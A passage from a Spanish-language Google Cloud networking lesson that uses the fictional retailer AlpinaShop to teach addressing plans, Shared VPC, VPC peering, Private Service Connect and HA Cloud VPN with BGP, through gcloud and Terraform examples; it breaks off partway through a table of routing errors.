La red de AlpinaShop se diseñó en 03-01 para una situación que ya no existe. Había un proyecto que importaba, una aplicación que servir y una VPC con dos subredes. Funcionó perfectamente durante cuatro módulos.

Hoy la fotografía es otra. Hay cuatro proyectos —alpinashop-prod, alpinashop-dev, alpinashop-datos y alpinashop-cicd— cada uno con su propia VPC, sin saber nada de las demás. Lucía necesita que sus consultas de BigQuery lleguen a la réplica alpinashop-pedidos-replica-informes, que vive en otro proyecto. El servicio de Cloud Run que se desplegó en 07-02 debería hablar con Cloud SQL por IP privada en lugar de por el conector. La pasarela de pago exige que las peticiones lleguen desde una IP fija. Y DA-004 dejó comprometido un túnel hacia el ERP MySQL de la tienda de Sabadell que todavía no existe.

Además hay un riesgo que nadie ha mirado: si mañana se filtran las credenciales de sa-informes-nocturnos, esa cuenta puede leer todo el dataset alpinashop_analitica y copiarlo a un bucket de cualquier otro proyecto de Google Cloud del mundo. IAM autoriza la lectura; nada impide la salida.

Esta lección resuelve las cinco cosas. Al terminar sabrás cuándo una VPC en un proyecto deja de bastar, diseñarás la VPC compartida de AlpinaShop, distinguirás emparejamiento de red compartida con criterio, conectarás la tienda de Sabadell con Cloud VPN HA paso a paso entendiendo el BGP de verdad, publicarás y consumirás servicios por IP privada con Private Service Connect, levantarás un perímetro de VPC Service Controls alrededor de los datos, y sabrás diagnosticar un fallo de red con herramientas en lugar de con intuición.

Y sabrás dónde se esconde la parte de la factura que nadie mira: el tráfico.

Contenido

  1. Cuándo una VPC en un proyecto deja de bastar
  2. El diseño de direccionamiento de toda la organización
  3. VPC compartida: proyecto host y proyectos de servicio
  4. Implementar la VPC compartida de AlpinaShop
  5. Emparejamiento de VPC: cómo funciona y qué no hace
  6. Tabla de decisión: compartida, emparejamiento o interconexión
  7. Private Service Connect: servicios por IP privada
  8. Conectividad híbrida: las tres opciones para llegar a Sabadell
  9. Cloud VPN HA paso a paso
  10. Cloud Router, BGP y el enrutamiento dinámico de verdad
  11. Anuncio de rutas y los errores que rompen la conectividad
  12. Network Connectivity Center: la topología radial gestionada
  13. Controles de servicio de VPC: el perímetro contra la exfiltración
  14. Diagnóstico de red: Network Intelligence Center y un fallo real
  15. Niveles de servicio Premium y Estándar
  16. El coste del tráfico: donde se esconde la factura

  1. Cuándo una VPC en un proyecto deja de bastar

Una VPC en un solo proyecto es la respuesta correcta durante más tiempo del que la gente cree. Estas son las señales concretas de que se ha quedado corta:

Señal Qué la provoca Qué la resuelve
Varios proyectos que necesitan hablarse por IP privada Separación por entorno o por equipo VPC compartida o emparejamiento
El mismo diseño de red replicado a mano en tres proyectos Copiar y pegar subredes y reglas VPC compartida
Nadie sabe qué reglas de firewall hay en total Firewall repartido entre proyectos VPC compartida
Hay que llegar a un sistema fuera de Google Cloud Un ERP, un mainframe, una oficina VPN o Interconnect
Hace falta consumir un servicio de un tercero sin salir a internet SaaS, socios Private Service Connect
Preocupa que alguien copie los datos fuera Credenciales filtradas, error humano VPC Service Controls
Los rangos IP empiezan a chocar Nadie llevaba el registro Un plan de direccionamiento

AlpinaShop marca seis de las siete. Es el momento.

Pero antes de tocar nada, hay que hacer lo que casi nadie hace y evita el 80 % de los problemas futuros.

  1. El diseño de direccionamiento de toda la organización

Un plan de direccionamiento es una hoja de cálculo con qué rango usa cada cosa. Suena trivial. Es lo que separa una red que crece de una red que hay que rehacer.

La regla que lo gobierna todo:

Dos rangos que puedan llegar a conectarse alguna vez no pueden solaparse. Nunca. Bajo ninguna circunstancia.

Y es más estricto de lo que parece, porque "alguna vez" incluye: una fusión de empresas, un proveedor que se conecta por VPN, una nube secundaria, una oficina nueva, un socio con el que se emparejan redes. Cuando dos rangos se solapan, no hay configuración que lo arregle: hay que renumerar una de las dos redes, con parada de servicio.

El plan de AlpinaShop, diseñado con margen para diez años:

Bloque Rango Uso Estado
10.10.0.0/16 65.536 IP Google Cloud, europe-west1 En uso
10.10.0.0/24 256 sn-web-euw1 — cargas web En uso
10.10.1.0/24 256 sn-datos-euw1 — bases de datos En uso
10.10.2.0/24 256 sn-dev-euw1 — desarrollo Nueva
10.10.3.0/24 256 sn-datos-analitica-euw1 Nueva
10.10.8.0/22 1.024 Rango secundario para pods de GKE Reservado
10.10.12.0/24 256 Rango secundario para servicios de GKE Reservado
10.10.16.0/24 256 Subred de solo proxy (balanceadores internos) Reservado
10.10.20.0/24 256 Cloud Run — VPC directa Nueva
10.10.240.0/20 4.096 Acceso a servicios privados (Cloud SQL, Memorystore) En uso
10.20.0.0/16 65.536 Google Cloud, europe-southwest1 (Madrid) Reservado, sin usar
192.168.10.0/24 256 Tienda de Sabadell — red local Existente
192.168.20.0/24 256 Oficina central Existente
172.16.0.0/12 — Prohibido: lo usa Docker por defecto Bloqueado

Cuatro decisiones que merecen explicación:

  1. Reservar 10.20.0.0/16 para una segunda región aunque no se use. Cuesta cero. El día que 07-06 exija multirregión, el rango está libre y no hay que negociar con nadie.
  2. Los rangos secundarios de GKE se reservan aunque el clúster se vaya a retirar. Los rangos de pods son enormes y devorarlos por sorpresa es un clásico.
  3. 10.10.240.0/20 para acceso a servicios privados. Cuando creas una instancia de Cloud SQL con IP privada, Google necesita un rango dentro de tu VPC que te "quita" para su uso. Si no lo planificas, te asigna uno y luego choca con algo.
  4. Prohibir 172.16.0.0/12 explícitamente. Es el rango que usa Docker por defecto para sus redes puente. Cualquier contenedor que use ese rango internamente no podrá alcanzar una IP de la VPC en ese mismo rango. Es una tarde perdida garantizada.

Consejo: este plan vive en el repositorio alpinashop-infra como fichero DIRECCIONAMIENTO.md y se revisa en el mismo pull request que crea la subred. Un plan que está en la hoja de cálculo de alguien no es un plan.

  1. VPC compartida: proyecto host y proyectos de servicio

La VPC compartida (antes XPN, siglas que sobreviven en algunos comandos y roles) permite que una VPC definida en un proyecto sea usada por recursos de otros proyectos.

flowchart TB
    subgraph HOST["Proyecto HOST: alpinashop-red (carpeta compartido)"]
      VPC["alpinashop-vpc"]
      S1["sn-web-euw1<br/>10.10.0.0/24"]
      S2["sn-datos-euw1<br/>10.10.1.0/24"]
      S3["sn-dev-euw1<br/>10.10.2.0/24"]
      FW["Reglas fw-*"]
      RT["alpinashop-router-euw1<br/>+ NAT + VPN"]
      VPC --- S1 & S2 & S3 & FW & RT
    end
    subgraph SVC["Proyectos de servicio"]
      P1["alpinashop-prod<br/>Cloud Run, Cloud SQL"]
      P2["alpinashop-dev<br/>VM de pruebas"]
      P3["alpinashop-datos<br/>BigQuery, Dataflow"]
    end
    S1 -.->|"usa"| P1
    S3 -.->|"usa"| P2
    S2 -.->|"usa"| P3

    style HOST fill:#e8f0fe,stroke:#4285f4

La idea central, y es elegante:

La red vive en un sitio. Los recursos viven en otro. La facturación y los permisos siguen a los recursos.

Una VM de alpinashop-prod con una IP de sn-web-euw1 se factura a alpinashop-prod, la administran los permisos de alpinashop-prod, y su tráfico obedece a las reglas de firewall que están en alpinashop-red. Puede hablar con una VM de alpinashop-dev por IP privada porque están en la misma VPC, aunque sean proyectos distintos.

Quién administra qué

Este reparto es la razón de ser de la VPC compartida y la parte que hay que entender:

Tarea Quién Rol
Crear la VPC y las subredes Equipo de red (Marta) en el proyecto host roles/compute.networkAdmin en el host
Crear y modificar reglas de firewall Equipo de red en el host roles/compute.securityAdmin en el host
Configurar Cloud Router, NAT, VPN Equipo de red en el host roles/compute.networkAdmin
Vincular un proyecto de servicio Administrador de la VPC compartida roles/compute.xpnAdmin a nivel de organización o carpeta
Crear una VM en una subred Equipo de desarrollo en su proyecto roles/compute.networkUser sobre la subred concreta
Desplegar Cloud Run con VPC directa Equipo de desarrollo roles/compute.networkUser sobre la subred

Los dos roles que hay que memorizar:

  • compute.xpnAdmin: quién puede vincular y desvincular proyectos de servicio. Es un rol de organización o carpeta, no de proyecto. Muy poderoso: se da a una o dos personas.
  • compute.networkUser: quién puede usar una red o subred. Se puede dar sobre la red entera (mala idea) o sobre una subred concreta (lo correcto).

Esa granularidad es la joya del modelo:

Dani puede desplegar en sn-dev-euw1 porque gcp-desarrollo@ tiene networkUser sobre esa subred. No puede desplegar en sn-datos-euw1, porque no lo tiene. Ni siquiera puede ver esa subred. Y no puede tocar ninguna regla de firewall.

Es separación de funciones (03-04) aplicada a la red, y se hereda automáticamente por proyecto nuevo si se gestiona con Terraform.

Lo que se gana y lo que se paga

Ventaja Detalle
Una sola red que entender Un mapa, un plan de direccionamiento, una lista de reglas
Firewall centralizado Todas las reglas en un sitio, auditables de un vistazo
Sin emparejamientos ni túneles internos Los proyectos se hablan porque están en la misma red
Un solo Cloud NAT, un solo Cloud Router, una sola VPN Se configura una vez y sirve a todos
Separación de funciones real Red centralizada, cómputo distribuido
Menos IP desperdiciadas Un solo plan de direccionamiento
Inconveniente Detalle
Cuellos de botella organizativos Cada subred nueva pasa por el equipo de red
Radio de explosión mayor Un error en una regla de firewall del host afecta a todos
Cuotas compartidas Las cuotas de red son del proyecto host
Curva de aprendizaje de permisos Hay que entender los dos roles y dónde se aplican
No cruza organizaciones Host y servicio deben estar en la misma organización

Para AlpinaShop, con una persona de red y tres proyectos, la centralización es exactamente lo que quiere: Marta gobierna la red, Dani y Lucía consumen subredes sin poder romperse entre ellos.

  1. Implementar la VPC compartida de AlpinaShop

Se hace en Terraform, como todo desde 06-07. Pero primero el comando equivalente, para entender qué ocurre.

Paso 1: crear el proyecto host

La decisión de diseño más importante: la red va a un proyecto propio, alpinashop-red, en la carpeta compartido. No en alpinashop-prod.

¿Por qué? Porque si la red vive en producción, todo el que necesite tocar una subred de desarrollo necesita permisos en el proyecto de producción. El proyecto host queda casi vacío —solo red— y eso es una virtud: su lista de permisos es corta y auditable.

gcloud projects create alpinashop-red \
  --folder=FOLDER_ID_COMPARTIDO \
  --name="AlpinaShop Red"

gcloud beta billing projects link alpinashop-red \
  --billing-account=BILLING_ACCOUNT_ID

gcloud services enable compute.googleapis.com --project=alpinashop-red

Paso 2: habilitar el host y vincular los proyectos de servicio

# Convertir alpinashop-red en proyecto host
gcloud compute shared-vpc enable alpinashop-red

# Vincular los tres proyectos de servicio
for P in alpinashop-prod alpinashop-dev alpinashop-datos; do
  gcloud compute shared-vpc associated-projects add "$P" --host-project=alpinashop-red
done

# Verificar
gcloud compute shared-vpc get-host-project alpinashop-prod
gcloud compute shared-vpc list-associated-resources alpinashop-red

Nótese que alpinashop-cicd no se vincula: Cloud Build no necesita IP privada en la VPC para construir imágenes, y cada vinculación es superficie que no hace falta.

Paso 3: las subredes con permisos granulares, en Terraform

# proyecto host: alpinashop-red

resource "google_compute_network" "alpinashop" {
  project                 = "alpinashop-red"
  name                    = "alpinashop-vpc"
  auto_create_subnetworks = false          # SIEMPRE false: control total del direccionamiento
  routing_mode            = "GLOBAL"       # las rutas aprendidas por BGP se propagan a todas las regiones
}

resource "google_compute_subnetwork" "web" {
  project                  = "alpinashop-red"
  name                     = "sn-web-euw1"
  ip_cidr_range            = "10.10.0.0/24"
  region                   = "europe-west1"
  network                  = google_compute_network.alpinashop.id
  private_ip_google_access = true          # llegar a las APIs de Google sin IP publica (03-01)

  log_config {
    aggregation_interval = "INTERVAL_10_MIN"
    flow_sampling        = 0.5             # 50% de muestreo: equilibrio coste/visibilidad
    metadata             = "INCLUDE_ALL_METADATA"
  }
}

resource "google_compute_subnetwork" "datos" {
  project                  = "alpinashop-red"
  name                     = "sn-datos-euw1"
  ip_cidr_range            = "10.10.1.0/24"
  region                   = "europe-west1"
  network                  = google_compute_network.alpinashop.id
  private_ip_google_access = true
}

resource "google_compute_subnetwork" "dev" {
  project                  = "alpinashop-red"
  name                     = "sn-dev-euw1"
  ip_cidr_range            = "10.10.2.0/24"
  region                   = "europe-west1"
  network                  = google_compute_network.alpinashop.id
  private_ip_google_access = true
}

# --- Permisos granulares por subred ---

# El equipo de desarrollo SOLO puede usar la subred de desarrollo
resource "google_compute_subnetwork_iam_member" "dev_usa_dev" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.dev.name
  role       = "roles/compute.networkUser"
  member     = "group:[email protected]"
}

# La cuenta de servicio de Cloud Run necesita la subred web para VPC directa
resource "google_compute_subnetwork_iam_member" "run_usa_web" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.web.name
  role       = "roles/compute.networkUser"
  member     = "serviceAccount:service-${var.numero_proyecto_prod}@serverless-robot-prod.iam.gserviceaccount.com"
}

# El equipo de datos SOLO la subred de datos
resource "google_compute_subnetwork_iam_member" "datos_usa_datos" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.datos.name
  role       = "roles/compute.networkUser"
  member     = "group:[email protected]"
}

Dos detalles con consecuencias:

  • routing_mode = "GLOBAL". Con enrutamiento regional, las rutas que el Cloud Router aprende por BGP en europe-west1 solo se anuncian a esa región. Si mañana hay recursos en europe-southwest1, no llegarán a Sabadell. Cambiarlo después obliga a reiniciar las sesiones BGP. Ponlo global desde el principio.
  • La cuenta serverless-robot-prod es el agente de servicio de Cloud Run. Cuando un servicio serverless usa VPC directa en una VPC compartida, es esa cuenta, no la tuya, la que necesita networkUser. Es un permiso que nadie adivina y produce un error críptico al desplegar.

Paso 4: mover lo que ya existía

Aquí viene la verdad incómoda:

Una VM no se puede mover de una VPC a otra. Hay que recrearla en la nueva red.

La migración de AlpinaShop, por suerte, es sencilla gracias a lo que ya se hizo:

Recurso Cómo se mueve Interrupción
Cloud Run alpinashop-web Actualizar --network y --subnet. Crea revisión nueva Ninguna: reparto de tráfico
Cloud SQL alpinashop-pedidos Requiere reconfigurar el acceso a servicios privados Ventana planificada
alpinashop-cluster (GKE) No se puede migrar: hay que recrear el clúster Ya no tiene producción (07-02)
Balanceador y Cloud Armor Son globales, no dependen de la VPC Ninguna
Cloud NAT y router Se recrean en el host Ninguna si se hace antes

Que la migración a VPC compartida sea fácil es un dividendo directo de haber movido el catálogo a Cloud Run. Con el MIG, habría que recrear las VM.

  1. Emparejamiento de VPC: cómo funciona y qué no hace

El emparejamiento de VPC (VPC peering) conecta dos VPC para que sus recursos se hablen por IP privada, sin compartir administración.

# Lado A
gcloud compute networks peerings create vpc-a-hacia-b \
  --network=vpc-a --peer-project=proyecto-b --peer-network=vpc-b

# Lado B: HAY QUE HACERLO TAMBIEN. El emparejamiento no existe hasta que ambos lo crean
gcloud compute networks peerings create vpc-b-hacia-a \
  --network=vpc-b --peer-project=proyecto-a --peer-network=vpc-a

Características:

  • Tráfico por la red interna de Google: baja latencia, alto ancho de banda.
  • Sin coste por el emparejamiento en sí (el tráfico entre zonas o regiones sí se paga).
  • Funciona entre organizaciones distintas, a diferencia de la VPC compartida.
  • Cada lado mantiene su firewall y su administración.

Y aquí las tres limitaciones que definen cuándo sirve y cuándo no.

Limitación 1: no es transitivo

Es la limitación más importante y la que más gente descubre tarde.

flowchart LR
    A["VPC A<br/>10.1.0.0/16"] <-->|"emparejamiento"| B["VPC B<br/>10.2.0.0/16"]
    B <-->|"emparejamiento"| C["VPC C<br/>10.3.0.0/16"]
    A -.->|"NO HAY CONECTIVIDAD"| C

    style A fill:#e8f0fe
    style C fill:#fce8e6

Si A se empareja con B, y B con C, A no puede hablar con C. Ni añadiendo rutas, ni con un proxy en B (eso ya no es emparejamiento). Para N redes que deban hablarse todas con todas hacen falta N×(N−1)/2 emparejamientos: 3 redes son 3, 5 redes son 10, 10 redes son 45. Deja de ser gestionable rápido — y ese es exactamente el problema que resuelve Network Connectivity Center (apartado 12).

La consecuencia práctica más habitual: una VPC emparejada no puede alcanzar a través de ti tu VPN a las oficinas. Es un caso que aparece constantemente y sorprende siempre.

Limitación 2: los rangos no pueden solaparse

Si A usa 10.1.0.0/16 y C también, no se pueden emparejar jamás. Y no hay NAT que valga en el emparejamiento. Es el motivo del apartado 2.

Limitación 3: cuotas agregadas

Las rutas, reglas de reenvío y direcciones internas se suman entre redes emparejadas a efectos de cuota. En redes grandes esto se vuelve un límite real.

Control fino: qué se anuncia

Por defecto solo se intercambian las rutas de las subredes. Se puede afinar:

gcloud compute networks peerings update vpc-a-hacia-b \
  --network=vpc-a \
  --export-custom-routes \        # exportar rutas estaticas y aprendidas por BGP
  --import-custom-routes          # importar las del otro lado

--export-custom-routes es lo que permite que la otra VPC alcance, por ejemplo, la red de Sabadell a través de tu VPN. Está desactivado por defecto y es la causa número uno de "el emparejamiento está establecido pero no llego".

  1. Tabla de decisión: compartida, emparejamiento o interconexión

Criterio VPC compartida Emparejamiento de VPC Network Connectivity Center
Administración de la red Centralizada Independiente en cada lado Centralizada (radial)
¿Misma organización? Obligatorio No necesario Habitualmente sí
Transitividad Total (es una sola red) No Sí, vía el eje
Rangos solapados Imposibles por diseño Prohibidos Prohibidos
Reglas de firewall Unas, en el host Unas por VPC Por radio
Escala Cientos de proyectos de servicio Se degrada con N² Cientos de radios
Coste Sin coste adicional Sin coste adicional Por radio y hora
Caso típico Una empresa, varios equipos Dos empresas, un socio, un SaaS Muchas redes y sedes
AlpinaShop Sí, es la elección Solo si aparece un socio No hace falta

La regla de decisión:

¿Los proyectos son míos y quiero una sola red que gobernar? → VPC compartida. ¿La otra red es de otro, o necesito administraciones separadas? → Emparejamiento. ¿Tengo más de cinco redes y sedes que se tienen que hablar todas? → Network Connectivity Center.

  1. Private Service Connect: servicios por IP privada

Private Service Connect (PSC) resuelve un problema distinto: consumir un servicio por una IP privada de tu propia VPC, sin emparejar redes y sin exponer nada a internet.

Tiene tres usos, y conviene distinguirlos:

Uso 1: acceder a las APIs de Google por una IP privada tuya

En 03-01 se activó Private Google Access, que permite a una VM sin IP pública llegar a storage.googleapis.com usando el rango 199.36.153.8/30. Funciona, pero el destino sigue siendo una IP de Google.

Con PSC creas un extremo con una IP de tu propio rango:

# Reservar una IP interna para el extremo
gcloud compute addresses create psc-apis-google \
  --global --purpose=PRIVATE_SERVICE_CONNECT \
  --addresses=10.10.250.10 \
  --network=alpinashop-vpc \
  --project=alpinashop-red

# Crear el extremo hacia todas las APIs de Google
gcloud compute forwarding-rules create psc-apis-google \
  --global \
  --network=alpinashop-vpc \
  --address=psc-apis-google \
  --target-google-apis-bundle=all-apis \
  --project=alpinashop-red

A partir de ahí, 10.10.250.10 es el punto de acceso a las APIs de Google. Con un registro DNS privado (*.googleapis.com → 10.10.250.10) todo el tráfico a las APIs pasa por ahí.

¿Qué se gana frente a Private Google Access? Tres cosas concretas:

  1. Funciona desde fuera de la VPC: desde Sabadell, a través del túnel VPN, una máquina puede llegar a 10.10.250.10 y usar Cloud Storage. Con Private Google Access, no. Este es el motivo principal.
  2. Una IP tuya que puedes controlar con firewall y ver en los Flow Logs.
  3. Es requisito habitual cuando hay VPC Service Controls, con el paquete vpc-sc en lugar de all-apis.

Uso 2: consumir un servicio publicado por un tercero

Un SaaS —una plataforma de datos, un proveedor de pagos— publica su servicio como PSC. Tú creas un extremo en tu VPC con una IP tuya, y consumes el servicio sin salir a internet, sin VPN y sin emparejar redes:

gcloud compute forwarding-rules create psc-proveedor-pagos \
  --region=europe-west1 \
  --network=alpinashop-vpc \
  --address=10.10.250.20 \
  --target-service-attachment=projects/PROVEEDOR/regions/europe-west1/serviceAttachments/sa-pagos

Ventaja decisiva sobre el emparejamiento: no se comparten rangos ni rutas. El proveedor no ve tu red y tú no ves la suya. Solo se expone el servicio concreto. Por eso PSC ha sustituido al emparejamiento como forma estándar de conectar con proveedores.

Uso 3: publicar tu propio servicio

Simétricamente, AlpinaShop podría publicar su API de socios detrás de un balanceador interno y exponerla como service attachment para que las tiendas asociadas la consuman desde sus propias VPC.

flowchart LR
    subgraph CONS["VPC del consumidor"]
      EP["Extremo PSC<br/>10.50.0.5"]
    end
    subgraph PROD["VPC de AlpinaShop"]
      SA["Service attachment"] --> ILB["Balanceador interno"] --> API["API de socios"]
    end
    EP -->|"red de Google, IP privada"| SA

Comparación de las formas de acceso privado

Mecanismo Para qué IP de destino
Private Google Access VM sin IP pública → APIs de Google De Google (199.36.153.8/30)
Private Service Connect Cualquiera → APIs de Google o servicios de terceros Tuya
Acceso a servicios privados Cloud SQL, Memorystore con IP privada Del rango que cediste (10.10.240.0/20)
Emparejamiento VPC ↔ VPC completas Del otro lado

  1. Conectividad híbrida: las tres opciones para llegar a Sabadell

DA-004 comprometió un enlace privado con la tienda. Hay tres formas.

Cloud VPN HA Partner Interconnect Dedicated Interconnect
Medio Internet, cifrado IPsec Proveedor de servicios Fibra física propia
Ancho de banda Hasta 3 Gbps por túnel (típico 1,5-3) 50 Mbps – 50 Gbps 10 o 100 Gbps por enlace
Latencia La de internet + cifrado Baja y estable La más baja y estable
SLA 99,99 % con configuración HA 99,9 % o 99,99 % según topología 99,9 % o 99,99 % según topología
Plazo de puesta en marcha Minutos Días o semanas Semanas o meses
Coste mensual Del orden de decenas de € por túnel Cientos a miles de € Miles de € + instalación
Cifrado IPsec, incluido No por defecto (se añade MACsec o VPN encima) No por defecto
Requiere presencia física No En el proveedor En un punto de interconexión de Google
Cuándo Hasta ~3 Gbps, arranque rápido Ancho medio, sin presencia física Mucho volumen, latencia crítica

Para AlpinaShop la decisión no tiene discusión. El tráfico previsto son unas tablas de stock cada 10 minutos y unos cientos de pedidos al día: kilobytes, no gigabytes. Contratar un Interconnect para eso sería como alquilar un tráiler para llevar la compra. Cloud VPN HA, en minutos y por decenas de euros al mes.

Un apunte sobre cuándo cambiaría: si hubiera que replicar continuamente una base de datos grande, si el volumen superara de forma sostenida 1-2 Gbps, o si la latencia de internet fuera inaceptable para un proceso interactivo. Ninguna aplica.

  1. Cloud VPN HA paso a paso

Cloud VPN HA (alta disponibilidad) es la versión con SLA del 99,99 %. La diferencia con la VPN clásica:

VPN clásica (obsoleta) Cloud VPN HA
Interfaces de la pasarela 1 2, con IP públicas distintas
Túneles mínimos 1 2
Enrutamiento Estático o dinámico Dinámico con BGP obligatorio
SLA 99,9 % 99,99 % con dos túneles a dos dispositivos

Para conseguir el 99,99 % hacen falta dos túneles desde las dos interfaces de la pasarela de Google hacia dos dispositivos (o al menos dos IP) del otro lado. Con un solo dispositivo en Sabadell se consiguen 99,9 %, que para una tienda es más que suficiente.

flowchart LR
    subgraph GCP["Google Cloud - alpinashop-red"]
      GW["alpinashop-vpn-gw<br/>if0: 34.x.x.1<br/>if1: 34.x.x.2"]
      CR["alpinashop-router-euw1<br/>ASN 65001"]
      VPC["alpinashop-vpc<br/>10.10.0.0/16"]
      GW --- CR --- VPC
    end
    subgraph SAB["Tienda de Sabadell"]
      FW["Router/firewall<br/>IP publica 88.x.x.x<br/>ASN 65010"]
      LAN["LAN 192.168.10.0/24"]
      ERP["ERP MySQL<br/>192.168.10.20"]
      FW --- LAN --- ERP
    end
    GW <-->|"tunel 0 - IPsec"| FW
    GW <-->|"tunel 1 - IPsec"| FW

Paso 1: la pasarela VPN HA

gcloud compute vpn-gateways create alpinashop-vpn-gw \
  --network=alpinashop-vpc \
  --region=europe-west1 \
  --project=alpinashop-red

gcloud compute vpn-gateways describe alpinashop-vpn-gw \
  --region=europe-west1 --format="get(vpnInterfaces)"

Google asigna dos IP públicas, una por interfaz. Se apuntan: son las que hay que configurar en el router de Sabadell.

Paso 2: la pasarela del otro lado

Google necesita saber cómo es el dispositivo remoto:

gcloud compute external-vpn-gateways create gw-sabadell \
  --interfaces=0=88.20.145.7 \
  --project=alpinashop-red

--interfaces=0=IP declara un dispositivo. Si en Sabadell hubiera dos routers, sería 0=IP_A,1=IP_B y se alcanzaría el 99,99 %.

Paso 3: el Cloud Router

gcloud compute routers create alpinashop-router-euw1 \
  --network=alpinashop-vpc \
  --region=europe-west1 \
  --asn=65001 \
  --advertisement-mode=custom \
  --set-advertisement-groups=all-subnets \
  --project=alpinashop-red
  • --asn=65001: número de sistema autónomo de Google en esta sesión BGP. Se usa el rango privado 64512-65534.
  • --advertisement-mode=custom: control explícito de lo que se anuncia. Con default se anuncian todas las subredes automáticamente; custom obliga a decidir, que es lo correcto (apartado 11).

Si el router ya existe por el Cloud NAT de 03-01, se reutiliza: un Cloud Router sirve a la vez para NAT y para VPN.

Paso 4: los dos túneles

SECRETO=$(openssl rand -base64 32)   # y se guarda en Secret Manager, no en el historial

for I in 0 1; do
  gcloud compute vpn-tunnels create tunel-sabadell-$I \
    --peer-external-gateway=gw-sabadell \
    --peer-external-gateway-interface=0 \
    --region=europe-west1 \
    --ike-version=2 \
    --shared-secret="$SECRETO" \
    --router=alpinashop-router-euw1 \
    --vpn-gateway=alpinashop-vpn-gw \
    --interface=$I \
    --project=alpinashop-red
done
  • --interface=$I: cada túnel sale por una interfaz distinta de la pasarela. Aquí está la redundancia.
  • --ike-version=2: IKEv2 siempre. IKEv1 solo si el equipo remoto es antiguo.
  • --shared-secret: la clave precompartida. Debe coincidir exactamente con la del router de Sabadell y va a Secret Manager (03-06), nunca a un fichero de Terraform.

Paso 5: las sesiones BGP

Cada túnel necesita su sesión BGP, con IP de enlace en un /30 del rango de enlace local 169.254.0.0/16:

for I in 0 1; do
  gcloud compute routers add-interface alpinashop-router-euw1 \
    --interface-name=if-tunel-$I \
    --vpn-tunnel=tunel-sabadell-$I \
    --ip-address=169.254.10.$((1 + I*4)) \
    --mask-length=30 \
    --region=europe-west1 --project=alpinashop-red

  gcloud compute routers add-bgp-peer alpinashop-router-euw1 \
    --peer-name=bgp-sabadell-$I \
    --interface=if-tunel-$I \
    --peer-ip-address=169.254.10.$((2 + I*4)) \
    --peer-asn=65010 \
    --advertised-route-priority=$((100 + I*100)) \
    --region=europe-west1 --project=alpinashop-red
done

Direccionamiento resultante:

Túnel IP de Google IP de Sabadell Prioridad
0 169.254.10.1/30 169.254.10.2 100 (preferido)
1 169.254.10.5/30 169.254.10.6 200 (respaldo)

--advertised-route-priority más baja gana. Con estas prioridades, el túnel 0 es el activo y el 1 el respaldo; si el 0 cae, BGP converge al 1 en segundos. Para activo-activo se pondría la misma prioridad en los dos y el tráfico se repartiría por ECMP.

Paso 6: firewall y verificación

gcloud compute firewall-rules create fw-permitir-desde-sabadell \
  --network=alpinashop-vpc \
  --direction=INGRESS \
  --action=allow \
  --rules=tcp:3306,icmp \
  --source-ranges=192.168.10.0/24 \
  --target-tags=acceso-erp \
  --project=alpinashop-red

# Estado de los tuneles: se busca "ESTABLISHED"
gcloud compute vpn-tunnels list --project=alpinashop-red \
  --format="table(name,status,detailedStatus)"

# Estado del BGP: se busca "UP" y las rutas aprendidas
gcloud compute routers get-status alpinashop-router-euw1 \
  --region=europe-west1 --project=alpinashop-red \
  --format="yaml(result.bgpPeerStatus)"

La salida buena tiene este aspecto:

result:
  bgpPeerStatus:
  - name: bgp-sabadell-0
    state: Established
    status: UP
    numLearnedRoutes: 1
    advertisedRoutes: [10.10.0.0/24, 10.10.1.0/24, 10.10.2.0/24]
    learnedRoutes:
    - destIpRange: 192.168.10.0/24

numLearnedRoutes: 1 y 192.168.10.0/24 en learnedRoutes es la prueba de que funciona. Si el túnel está ESTABLISHED pero numLearnedRoutes: 0, el problema no es la VPN: es que el otro lado no anuncia nada por BGP.

  1. Cloud Router, BGP y el enrutamiento dinámico de verdad

Merece la pena entender qué está pasando, porque casi todos los fallos de conectividad híbrida son de enrutamiento y no del túnel.

BGP (Border Gateway Protocol) es el protocolo con el que dos redes se cuentan qué destinos saben alcanzar. Cada red tiene un identificador, el ASN, y anuncia sus prefijos.

Concepto Qué es En AlpinaShop
ASN Identificador de la red Google: 65001. Sabadell: 65010
Sesión BGP Conversación TCP:179 entre dos routers Una por túnel
Ruta anunciada "Yo sé llegar a X" Google anuncia 10.10.0.0/24, 10.10.1.0/24, 10.10.2.0/24
Ruta aprendida Lo que el otro anuncia Google aprende 192.168.10.0/24
Prioridad / MED Preferencia entre caminos 100 vs 200

La diferencia con el enrutamiento estático es la que justifica todo el aparato:

Estático Dinámico (BGP)
Rutas nuevas Se añaden a mano en los dos lados Se anuncian solas
Caída de un túnel El tráfico sigue yendo al túnel muerto Converge al otro en segundos
Subred nueva en GCP Editar el router remoto Se anuncia sola
Escala Se vuelve inmanejable Bien

El caso que lo hace evidente: cuando Marta cree sn-run-euw1 (10.10.20.0/24) para la VPC directa de Cloud Run, el Cloud Router la anunciará automáticamente a Sabadell y el ERP podrá responderle sin que nadie toque el router de la tienda. Con rutas estáticas, habría que llamar al proveedor de la tienda cada vez.

Y el detalle que se olvida: el enrutamiento global del apartado 4. Con routing_mode = REGIONAL, un Cloud Router de europe-west1 solo anuncia subredes de europe-west1. Con GLOBAL, anuncia todas.

  1. Anuncio de rutas y los errores que rompen la conectividad

Con --advertisement-mode=custom se decide exactamente qué se anuncia. Casos habituales:

# Anunciar las subredes MAS un rango que no es una subred
# (por ejemplo el rango de acceso a servicios privados donde vive Cloud SQL)
gcloud compute routers update alpinashop-router-euw1 \
  --region=europe-west1 \
  --advertisement-mode=custom \
  --set-advertisement-groups=all-subnets \
  --set-advertisement-ranges=10.10.240.0/20=rango-cloud-sql \
  --project=alpinashop-red

Sin esa línea, Sabadell no puede alcanzar Cloud SQL por IP privada aunque el túnel funcione perfectamente, porque 10.10.240.0/20 no es una subred de la VPC: es un rango cedido a Google. Es de los fallos más desconcertantes que existen, porque todo parece bien.

También se puede anunciar solo desde una sesión BGP concreta, útil para políticas de salida:

gcloud compute routers update-bgp-peer alpinashop-router-euw1 \
  --peer-name=bgp-sabadell-0 \
  --advertisement-mode=custom \
  --set-advertisement-ranges=10.10.0.0/24,10.10.1.0/24 \
  --region=europe-west1 --project=alpinashop-red

Los cinco errores clásicos de enrutamiento

Error Síntoma Solución
Rangos solapados El tráfico "desaparece" o va al sitio equivocado Renumerar. No hay atajo
No anunciar el rango de servicios privados Túnel arriba, pero no se llega a Cloud SQL --set-advertisement-ranges
